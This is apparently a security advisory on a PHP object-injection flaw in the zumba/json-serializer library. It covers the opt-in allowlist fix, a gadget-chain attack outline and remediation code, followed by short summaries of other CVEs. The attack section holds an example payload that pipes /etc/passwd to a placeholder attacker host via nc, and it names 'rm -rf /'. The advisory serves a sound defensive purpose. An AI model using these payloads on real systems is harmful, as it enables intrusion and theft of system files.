Feb 21, 2026·5 min read·67 visits
Zumba Json Serializer <= 3.2.2 blindly trusts the `@type` field in JSON input, allowing attackers to instantiate any PHP class. If a 'gadget' class exists in the application, this leads to RCE. The fix in 3.2.3 introduces an allowlist, but it defaults to 'allow all' for backward compatibility, leaving updated applications vulnerable unless explicitly configured.
A high-severity PHP Object Injection vulnerability exists in the Zumba Json Serializer library. By trusting user-controlled type hints in JSON payloads, the library allows attackers to instantiate arbitrary classes, leading to Remote Code Execution (RCE) via magic method gadget chains. While a patch exists, it requires manual configuration to be effective.
We all love JSON. It’s simple, text-based, and usually dumb as a rock. That’s a good thing. But sometimes, developers want their JSON to be smart. They want it to remember that { "foo": "bar" } isn't just an array, but an instance of UserPreferenceStrategy. Enter zumba/json-serializer, a PHP library designed to serialize complex objects into JSON and resurrect them later.
To pull off this necromancy, the library embeds metadata—specifically a @type field—into the JSON. When the library parses this JSON, it looks at that field and says, "Aha! I need to spin up a new instance of this class." It’s a convenient feature for developers who want to persist state without writing boilerplate code.
Unfortunately, this convenience is also a loaded gun. In the security world, we call this PHP Object Injection (POI). If you let an attacker tell your application what class to instantiate, you aren't just parsing data anymore; you're handing over the keys to the runtime environment. It’s like letting a stranger order off a secret menu where one of the items is "burn the restaurant down."
The root cause, identified as CWE-502 (Deserialization of Untrusted Data), lives in the unserializeObject method of the JsonSerializer class. Prior to version 3.2.3, the library operated on a policy of absolute trust. It would take the string value provided in the @type key and feed it directly into PHP's reflection mechanisms to instantiate the object.
There were no guardrails. No bouncers at the door checking the guest list. If the JSON payload contained "@type": "GuzzleHttp\\Client", the library would happily try to create a Guzzle client. If it contained "@type": "Monolog\\Handler\\StreamHandler", it would create that too.
The logic was straightforward but fatal: read the type, load the class, populate properties. The library assumed that the JSON only came from trusted sources—a classic fallacy in web development. In reality, if this library is used to process API requests, cookies, or queued jobs, that JSON is coming from the wild, untamed internet.
The fix arrived in version 3.2.3 via commit bf26227879adefce75eb9651040d8982be97b881. The maintainers introduced an allowlist mechanism. Instead of instantiating whatever the JSON demands, the developer can now define exactly which classes are permitted.
Here is the critical logic added to unserializeObject:
// The Fix: Check against an allowlist
if ($this->allowedClasses !== null && !in_array($className, $this->allowedClasses, true)) {
throw new JsonSerializerException(
'Class ' . $className . ' is not allowed for deserialization. ' .
'Use setAllowedClasses() to configure the list of allowed classes.'
);
}> [!WARNING]
> Here is the catch: To maintain backward compatibility, the $allowedClasses property defaults to null. In this library's logic, null means "allow everything."
This is a classic "opt-in security" pattern. Simply running composer update does not fix the vulnerability. The code is patched, but the door is still unlocked until you explicitly call setAllowedClasses([...]). It’s a patch that acts more like a toolbox than a shield.
To turn this instantiation primitive into Remote Code Execution, we need a Gadget Chain. In PHP, this relies on "Magic Methods"—specifically __wakeup() (called on creation) and __destruct() (called when the object is destroyed/garbage collected).
An attacker constructs a JSON payload that references a class known to exist in the application's dependencies (e.g., a vulnerable version of Monolog or a framework component). This class usually has a destructor that performs unsafe operations on its properties, like deleting a file or executing a shell command.
Here is the attack flow:
zumba/json-serializer.composer.json or error logs to find available classes with dangerous destructors.@type to the gadget class and populating properties with malicious commands.rm -rf /.{
"@type": "VulnerableLib\\DestructiveClass",
"command": "cat /etc/passwd | nc attacker.com 1337"
}If you are using zumba/json-serializer, you have two tasks. First, update the library. Second, change your code. If you skip step two, you are still vulnerable.
Step 1: Update to version 3.2.3.
Step 2: Configure the allowlist. You must explicitly tell the serializer which classes are safe to hydrate. If you only expect User objects, only allow User objects.
$serializer = new Zumba\JsonSerializer\JsonSerializer();
// LOCK IT DOWN
$serializer->setAllowedClasses([
MyApp\Models\User::class,
MyApp\Models\Product::class,
stdClass::class // Don't forget stdClass if you use it!
]);
$user = $serializer->unserialize($json);If you cannot define an allowlist because your data is too dynamic, you are likely using the wrong tool for the job. Consider using standard json_decode($json, true) which returns arrays and is immune to object injection attacks.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
json-serializer zumba | < 3.2.3 | 3.2.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-502 |
| CVSS Score | 8.1 (High) |
| Attack Vector | Network |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Proof of Concept (PoC) Available |
| Vulnerability Type | PHP Object Injection |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
CVE-2026-47347 is an open redirect vulnerability affecting multiple TYPO3 CMS versions. The issue resides in GeneralUtility::sanitizeLocalUrl, where an insufficient blocklist validation implementation fails to prevent browsers from normalizing malformed relative paths into external protocol-relative redirections. Attackers can exploit this to conduct phishing, session hijacking, or credential harvesting campaigns.
An authenticated backend user with access to the Recycler module in TYPO3 CMS can bypass write restrictions and restore soft-deleted records on pages or database tables they are not authorized to modify. This vulnerability resides in the core DataHandler class due to missing permission checks during 'undelete' operations.
CVE-2026-11607 is a critical broken access control vulnerability in TYPO3 CMS's Form Framework (ext:form). Authenticated backend users with access to the Form Framework can load unauthorized YAML configurations, bypassing file extension restrictions. This allows the execution of arbitrary SQL commands via the SaveToDatabase finisher, leading to privilege escalation to administrator level.
Improper validation of backslash character separators in esbuild's local development server allows path traversal on Windows systems.
An issue was discovered in the Deno integration of the esbuild package. The module fails to verify the integrity of downloaded native binary packages from NPM registries before writing and executing them on the local filesystem. This allows an attacker who controls the NPM_CONFIG_REGISTRY environment variable or intercepts the network connection to execute arbitrary native code on the host machine.
A thread-safety vulnerability exists in the PyO3 library versions prior to 0.29.0 due to a missing Sync trait bound on closure type parameters. This omission allows safe Rust code to register non-thread-safe closures as Python callables, leading to concurrent shared mutation and data races during multithreaded execution.